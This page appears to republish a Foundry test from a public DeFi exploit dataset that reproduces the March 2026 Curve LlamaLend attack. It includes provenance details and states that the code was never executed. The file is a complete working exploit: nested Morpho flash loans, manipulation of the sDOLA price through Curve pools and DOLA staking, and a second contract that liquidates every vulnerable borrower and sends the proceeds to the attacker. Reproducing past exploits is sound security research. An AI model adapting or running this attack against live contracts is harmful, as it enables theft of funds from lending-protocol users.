Public reproduction file
src/test/2026-03/Curve_LlamaLend_exp.sol
Public reproduction file for dataset entry Curve LlamaLend.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.23;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~240,000 US$8// Attacker : 0x33a0aab2642c78729873786e5903cc30f9a94be29// Attack Contract : 0xd8E8544E0c808641b9b89dfB285b5655BD5B698210// Attack Contract2 : 0xC6C2fcdf688BAeB7b03D9D9C088c183dbB499ac011// Attack Tx : 0xb93506af8f1a39f6a31e2d34f5f6a262c2799fef6e338640f42ab8737ed3d8a413// @Analysis14// Twitter Guy : https://x.com/yieldsandmore/status/202836837845736262916contract Curve_LlamaLend_exp is BaseTestWithBalanceLog {17 AttackContract internal attack;18 IWETH internal constant weth = IWETH(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));19 IERC20 internal constant DOLA = IERC20(address(0x865377367054516e17014CcdED1e7d814EDC9ce4));21 function setUp() public {22 vm.createSelectFork("mainnet", bytes32(0xb93506af8f1a39f6a31e2d34f5f6a262c2799fef6e338640f42ab8737ed3d8a4)); //blocknumber 24_566_93723 attack = new AttackContract();24 }26 function testExploit() public {27 attack.start();28 attack.end();29 emit log_named_decimal_uint("DOLA Balance", DOLA.balanceOf(address(this)), 18);30 emit log_named_decimal_uint("WETH Balance", weth.balanceOf(address(this)), 18);31 }32}34contract AttackContract {35 address internal owner;36 bool internal FlashloanUsed;38 IMorphoBuleFlashLoan internal constant morpho = IMorphoBuleFlashLoan(address(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb));40 IUSDC internal constant usdc = IUSDC(address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48));41 IWETH internal constant weth = IWETH(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));42 IERC20 internal constant crvUSD = IERC20(address(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E));43 IERC4626 internal constant sDOLA = IERC4626(address(0xb45ad160634c528Cc3D2926d9807104FA3157305));44 IERC20 internal constant DOLA = IERC20(address(0x865377367054516e17014CcdED1e7d814EDC9ce4));45 IERC20 internal constant alUSD = IERC20(address(0xBC6DA0FE9aD5f3b0d58160288917AA56653660E9));46 IYearnV3Vault internal constant scrvUSD = IYearnV3Vault(address(0x0655977FEb2f289A4aB78af67BAB0d17aAb84367));48 ILLAMMAExchange internal constant LLAMMA_CRV_USD_AMM = ILLAMMAExchange(address(0x0079885E248B572CdC4559A8B156745e2d8EA1f7));49 IcrvController internal constant crvUSD_Controller = IcrvController(address(0xaD444663c6C92B497225c6cE65feE2E7F78BFb86));50 IcrvController internal constant crvUSD_Controller_2 = IcrvController(address(0xA920De414eA4Ab66b97dA1bFE9e6EcA7d4219635));51 IDolaSavings internal constant DOLA_SAVINGS = IDolaSavings(address(0xE5f24791E273Cb96A1f8E5B67Bc2397F0AD9B8B4));52 IcurveStableSwap internal constant alUSD_sDOLA = IcurveStableSwap(address(0x460638e6F7605B866736e38045C0DE8294d7D87f));53 IcurveStableSwap internal constant SAVE_DOLA = IcurveStableSwap(address(0x76A962BA6770068bCF454D34dDE17175611e6637));54 IcurveStableSwap internal constant alUSD_FRAXB3CRV_F = IcurveStableSwap(address(0xB30dA2376F63De30b42dC055C93fa474F31330A5));55 IUniswapV2Router internal constant router = IUniswapV2Router(payable(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)));57 constructor() {58 owner = msg.sender;59 usdc.approve(address(alUSD_FRAXB3CRV_F), type(uint256).max);60 weth.approve(address(crvUSD_Controller_2), type(uint256).max);61 crvUSD.approve(address(scrvUSD), type(uint256).max);62 crvUSD.approve(address(crvUSD_Controller_2), type(uint256).max);63 alUSD.approve(address(alUSD_FRAXB3CRV_F), type(uint256).max);64 usdc.approve(address(router), type(uint256).max);65 }67 function start() external {68 morpho.flashLoan(address(usdc), 10_000_000_000_000, "");69 }71 function onMorphoFlashLoan(72 uint256,73 bytes calldata74 ) external {75 uint256 morphoWethAmount = weth.balanceOf(address(morpho));77 if (!FlashloanUsed) {78 FlashloanUsed = true;79 morpho.flashLoan(address(weth), morphoWethAmount, "");80 usdc.approve(address(morpho), 10_000_000_000_000);81 return;82 }84 crvUSD.approve(address(LLAMMA_CRV_USD_AMM), type(uint256).max);85 sDOLA.approve(address(LLAMMA_CRV_USD_AMM), type(uint256).max);86 sDOLA.approve(address(crvUSD_Controller), type(uint256).max);87 crvUSD.approve(address(crvUSD_Controller), type(uint256).max);88 DOLA.approve(address(sDOLA), type(uint256).max);89 DOLA.approve(address(DOLA_SAVINGS), type(uint256).max);90 alUSD.approve(address(alUSD_sDOLA), type(uint256).max);91 scrvUSD.approve(address(SAVE_DOLA), type(uint256).max);92 sDOLA.approve(address(alUSD_sDOLA), type(uint256).max);93 sDOLA.approve(address(SAVE_DOLA), type(uint256).max);95 alUSD_FRAXB3CRV_F.exchange_underlying(2, 0, 7_000_000_000_000, 1);96 alUSD_sDOLA.exchange(1, 0, 650_000_000_000_000_000_000_000, 1);98 uint256 wethAmount = weth.balanceOf(address(this));99 weth.withdraw(wethAmount);100 crvUSD_Controller_2.create_loan{value: wethAmount}(wethAmount, 25_000_000_000_000_000_000_000_000, 4);102 scrvUSD.deposit(7_000_000_000_000_000_000_000_000, address(this));103 SAVE_DOLA.exchange(0, 1, 370_000_000_000_000_000_000_000, 1);104 LLAMMA_CRV_USD_AMM.exchange(0, 1, 16_000_000_000_000_000_000_000_000, 1);106 uint256 sDolaAmount = sDOLA.balanceOf(address(this));107 sDOLA.redeem(sDolaAmount, address(this), address(this));108 DOLA_SAVINGS.stake(190_777_474_808_103_397_780_234, address(sDOLA));109 sDOLA.convertToAssets(1e18);111 LLAMMA_CRV_USD_AMM.exchange(0, 1, 0, 1);112 AttackContract2 liquidator = new AttackContract2();113 uint256 crvUsdAmount = crvUSD.balanceOf(address(this));114 crvUSD.transfer(address(liquidator), crvUsdAmount);115 liquidator.liquidateAllUsers();116 sDOLA.mint(1_300_000_000_000_000_000_000_000, address(this));118 uint256 dxAmount = alUSD_sDOLA.get_dx(0, 1, 685_000_000_000_000_000_000_000);119 alUSD_sDOLA.exchange(0, 1, dxAmount, 1);120 uint256 alUsdAmount = alUSD.balanceOf(address(this));121 alUSD_FRAXB3CRV_F.exchange_underlying(0, 2, alUsdAmount, 1);123 dxAmount = SAVE_DOLA.get_dx(1, 0, 372_000_000_000_000_000_000_000);124 SAVE_DOLA.exchange(1, 0, dxAmount, 1);126 uint256 scrvUsdAmount = scrvUSD.balanceOf(address(this));127 scrvUSD.redeem(scrvUsdAmount, address(this), address(this));129 sDolaAmount = sDOLA.balanceOf(address(this));130 sDOLA.redeem(sDolaAmount, address(this), address(this));131 LLAMMA_CRV_USD_AMM.exchange(0, 1, 0, 1);132 uint256 collateralAmount = crvUSD_Controller.min_collateral(10_904_020_804_458_172_792_365_906, 4);134 sDOLA.mint(collateralAmount, address(this));135 crvUSD_Controller.create_loan(collateralAmount, 10_904_020_804_458_172_792_365_806, 4);136 crvUSD_Controller_2.repay(50_000_000_000_000_000_000_000_000);138 address[] memory path = new address[](2);139 path[0] = address(usdc);140 path[1] = address(weth);142 router.swapExactTokensForTokens(13_241_509_653, 1, path, address(this), 1_772_420_411);144 (bool success,) = address(weth).call{value: address(this).balance}("");145 require(success, "failed");147 weth.approve(address(morpho), 15_986_107_781_121_575_327_546);148 }150 function end() public {151 DOLA.transfer(owner, DOLA.balanceOf(address(this)));152 weth.transfer(owner, weth.balanceOf(address(this)));153 }155 receive() external payable {}156}158contract AttackContract2 {159 address internal owner;160 IcrvController internal constant crvUSD_Controller = IcrvController(address(0xaD444663c6C92B497225c6cE65feE2E7F78BFb86));161 IERC20 internal constant crvUSD = IERC20(address(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E));162 IERC20 internal constant DOLA = IERC20(address(0x865377367054516e17014CcdED1e7d814EDC9ce4));164 Position[] public usersToLiquidateData;166 constructor() {167 owner = msg.sender;168 crvUSD.approve(address(crvUSD_Controller), type(uint256).max);169 }171 function liquidateAllUsers() external {172 Position[] memory positions = crvUSD_Controller.users_to_liquidate();173 uint256 storedLenBefore = usersToLiquidateData.length;175 for (uint256 i = 0; i < positions.length; i++) {176 usersToLiquidateData.push(positions[i]);177 }179 for (uint256 i = 0; i < usersToLiquidateData.length; i++) {180 crvUSD_Controller.liquidate(usersToLiquidateData[i].user, 0);181 }183 uint256 amount = crvUSD.balanceOf(address(this));184 crvUSD.transfer(owner, amount);185 amount = DOLA.balanceOf(address(this));186 DOLA.transfer(owner, amount);187 }188}190struct Position {191 address user;192 uint256 x;193 uint256 y;194 uint256 debt;195 int256 health;196}198interface IcrvController {199 function create_loan(200 uint256 collateral,201 uint256 debt,202 uint256 nBands203 ) external payable;205 function users_to_liquidate() external returns (Position[] memory);207 function liquidate(208 address user,209 uint256 min_x210 ) external;212 function min_collateral(213 uint256 debt,214 uint256 nBands215 ) external returns (uint256);217 function repay(218 uint256 d_debt219 ) external;220}222interface IcurveStableSwap {223 function exchange(224 int128 i,225 int128 j,226 uint256 dx,227 uint256 min_dy228 ) external;230 function exchange_underlying(231 int128 i,232 int128 j,233 uint256 dx,234 uint256 min_dy235 ) external;237 function get_dx(238 int128 i,239 int128 j,240 uint256 dy241 ) external returns (uint256);242}244interface IYearnV3Vault {245 function deposit(246 uint256 assets,247 address receiver248 ) external;250 function approve(251 address spender,252 uint256 amount253 ) external;255 function balanceOf(256 address account257 ) external returns (uint256);259 function redeem(260 uint256 shares,261 address receiver,262 address owner263 ) external;264}266interface ILLAMMAExchange {267 function exchange(268 uint256 i,269 uint256 j,270 uint256 in_amount,271 uint256 min_amount272 ) external returns (uint256[2] memory);273}275interface IDolaSavings {276 function stake(277 uint256 amount,278 address recipient279 ) external;280}Analysis
Dataset entry
Public Foundry test for “Curve LlamaLend” (2026-03-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-03/AlkemiEarn_exp.solSame month in the dataset · 91 lines
- src/test/2026-03/ATMBlindBox_exp.solSame month in the dataset · 141 lines
- src/test/2026-03/bce_exp.solSame month in the dataset · 245 lines
- src/test/2026-03/EST_exp.solSame month in the dataset · 170 lines
- src/test/2026-03/Revamp_exp.solSame month in the dataset · 278 lines
- src/test/2026-03/unverified_237d_exp.solSame month in the dataset · 162 lines
- src/test/2026-03/Univ3CollateralToken_exp.solSame month in the dataset · 188 lines
- src/test/2026-03/unverified_1304_exp.solSame month in the dataset · 178 lines
- src/test/2026-03/Venus_THE_exp.solSame month in the dataset · 227 lines
- src/test/2026-03/VTSwapHook_exp.solSame month in the dataset · 166 lines
- src/test/2026-03/WhalebitOracleManipulation_exp.solSame month in the dataset · 199 lines
- src/test/2026-03/XocolatlLiquidator_exp.solSame month in the dataset · 255 lines
- src/test/2023-07/Curve_exp01.solSame protocol or name in the dataset · 95 lines
- src/test/2023-08/CurveBurner_exp.solSame protocol or name in the dataset · 151 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x33a0aab2642c78729873786e5903cc30f9a94be2
- Attack Contract
0xd8e8544e0c808641b9b89dfb285b5655bd5b6982
- Attack Contract
0xc6c2fcdf688baeb7b03d9d9c088c183dbb499ac0
- Attack Tx
0xb93506af8f1a39f6a31e2d34f5f6a262c2799fef6e338640f42ab8737ed3d8a4
File record
- Name
- Curve LlamaLend
- Path
- src/test/2026-03/Curve_LlamaLend_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- b929d3f3d773612a4cc707f522403bc7324a14e5
- Language
- Solidity
- Size
- 281 lines
- Date
- 2026-03-02
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-03/Curve_LlamaLend_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b929d3f3d773612a4cc707f522403bc7324a14e5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.